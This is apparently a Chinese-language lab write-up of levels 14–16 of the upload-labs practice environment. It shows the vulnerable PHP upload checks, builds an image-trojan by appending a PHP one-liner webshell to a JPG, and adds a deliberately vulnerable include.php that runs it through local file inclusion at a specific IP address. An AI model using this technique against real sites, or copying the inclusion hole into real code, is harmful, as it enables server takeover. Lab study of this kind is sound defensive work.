本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
测试的靶机是作者自己购买的vps搭建的环境,使用了白名单形式访问!
Pass-14
- 查看本关卡代码
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
- 根据提示检测了代码内容的开头两个字节,且页面提示需要上传图片木马拿shell,所以首先本地制作个图片木马
- copy bmfx.jpg/b + ant.php/a shelljpg.jpg
- 参数/b指定以二进制格式复制
- 参数/a指定以ASCII格式复制
- 最后是合并好的带一句话的jpg文件
- 然后直接上传此图片
- 得到图片地址:4020200930032126.jpg
- 因为本关卡还提示需要通过文件包含来读取jpg里面的小马代码拿shell,所以需要建立一个包含代码的文件,我这里就定义名称为include.php,内容如下:
<?php $file = $_GET[ 'page' ] ; include ($file); ?>
- 到了此步就可以直接包含图片拿shell了
- http://106.54.35.126/upload/include.php?page=4020200930032126.jpg
- 成功拿shell
Pass-15
- 查看本关卡代码
function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
- 根据本关卡的提示是使用了getimagesize()函数,此函数是获取文件类型是不是图片格式的,但是此函数还是根据文件开头去判断的,所以我们插入在后面的一句话木马不受影响,可以继续利用
- 具体看如下演示,最终上传成功的访问路径:http://106.54.35.126/upload/include.php?page=6520200930034550.jpeg
Pass-16
- 查看本关卡代码
function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }
- 根据本关卡的提示,发现又换了个函数来检查是否是图片,函数名称是exif_imagetype() 此函数跟上一关卡的函数差别不大,只是本关卡的函数返回值少了些,所以同样使用使用图片木马上传拿shell
- 具体请看如下演示:访问 http://106.54.35.126/upload/include.php?page=3320200930051801.jpg